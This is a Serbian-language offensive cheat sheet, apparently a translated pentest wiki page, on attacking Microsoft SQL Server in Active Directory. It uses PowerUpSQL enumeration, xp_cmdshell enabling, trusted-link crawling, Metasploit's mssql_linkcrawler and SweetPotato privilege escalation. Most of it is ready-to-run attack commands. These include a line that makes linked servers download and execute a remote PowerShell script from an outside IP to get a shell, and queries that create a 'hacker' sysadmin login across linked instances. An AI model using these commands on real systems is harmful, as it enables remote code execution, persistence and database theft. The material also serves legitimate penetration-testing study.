PowerShell modul PowerUpSQL je veoma koristan u ovom slučaju.
Import-Module .\PowerupSQL.psd1
Enumeracija sa mreže bez domen sesije
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#If you don't have a AD account, you can try to find MSSQL scanning via UDP#First, you will need a list of hosts to scanGet-Content c:\temp\computers.txt |Get-SQLInstanceScanUDP –Verbose –Threads 10#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them#The discovered MSSQL servers must be on the file: C:\temp\instances.txtGet-SQLInstanceFile-FilePath C:\temp\instances.txt |Get-SQLConnectionTest-Verbose -Username test -Password test
Enumeracija iznutra domena
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#Get info about valid MSQL instances running in domain#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)Get-SQLInstanceDomain|Get-SQLServerinfo-Verbose#Test connections with each oneGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-verbose#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)Get-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Get DBs, test connections and get info in onelinerGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLServerInfo
MSSQL Osnovna Zloupotreba
Pristup DB
#Perform a SQL queryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select @@servername"#Dump an instance (a lotof CVSs generated in current dir)Invoke-SQLDumpInfo-Verbose -Instance "dcorp-mssql"# Search keywords in columns trying to access the MSSQL DBs## This won't use trusted SQL linksGet-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
MSSQL RCE
Možda će biti moguće izvršiti komande unutar MSSQL hosta
Invoke-SQLOSCmd-Instance "srv.sub.domain.local,1433"-Command "whoami"-RawResults# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
Check in the page mentioned in the following section how to do this manually.
Ako je MSSQL instanca pouzdana (povezana baza podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad pouzdanom bazom podataka, moći će da iskoristi odnos poverenja da izvrši upite i u drugoj instanci. Ove veze poverenja mogu se povezivati i u nekom trenutku korisnik može pronaći neku pogrešno konfigurisanu bazu podataka gde može izvršavati komande.
Povezane baze funkcionišu čak i preko šuma poverenja.
Zloupotreba Powershell-a
#Look for MSSQL links of an accessible instanceGet-SQLServerLink-Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)Get-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Verbose#If you are sysadmin in some trusted link you can enable xp_cmdshell with:Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery fieldGet-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"#Obtain a shellGet-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have accessInvoke-SQLAudit-Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"#Try to escalate privileges on an instanceInvoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"#Manual trusted link queeryGet-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check itGet-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it workedGet-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Možete lako proveriti pouzdane linkove koristeći metasploit.
#Set username, password, windows auth (if using AD), IP...msf> useexploit/windows/mssql/mssql_linkcrawler[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Napomena da će metasploit pokušati da zloupotrebi samo openquery() funkciju u MSSQL (tako da, ako ne možete da izvršite komandu sa openquery(), moraćete da pokušate EXECUTE metodu ručno da izvršite komande, više informacija u nastavku.)
Ručno - Openquery()
Sa Linux-a možete dobiti MSSQL konzolnu ljusku sa sqsh i mssqlclient.py.
Sa Windows-a takođe možete pronaći linkove i izvršiti komande ručno koristeći MSSQL klijent kaoHeidiSQL
Ako ne možete izvršiti akcije poput exec xp_cmdshell iz openquery(), pokušajte sa metodom EXECUTE.
Ručno - EXECUTE
Takođe možete zloupotrebiti poverljive veze koristeći EXECUTE:
#Create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Lokalna Eskalacija Privilegija
MSSQL lokalni korisnik obično ima posebnu vrstu privilegije nazvanu SeImpersonatePrivilege. Ovo omogućava nalogu da "imituje klijenta nakon autentifikacije".
Strategija koju su mnogi autori smislili je da primoraju SYSTEM servis da se autentifikuje na zlonameran ili man-in-the-middle servis koji napadač kreira. Ovaj zlonamerni servis tada može da imitira SYSTEM servis dok pokušava da se autentifikuje.
SweetPotato ima kolekciju ovih različitih tehnika koje se mogu izvršiti putem Beacon-ove komande execute-assembly.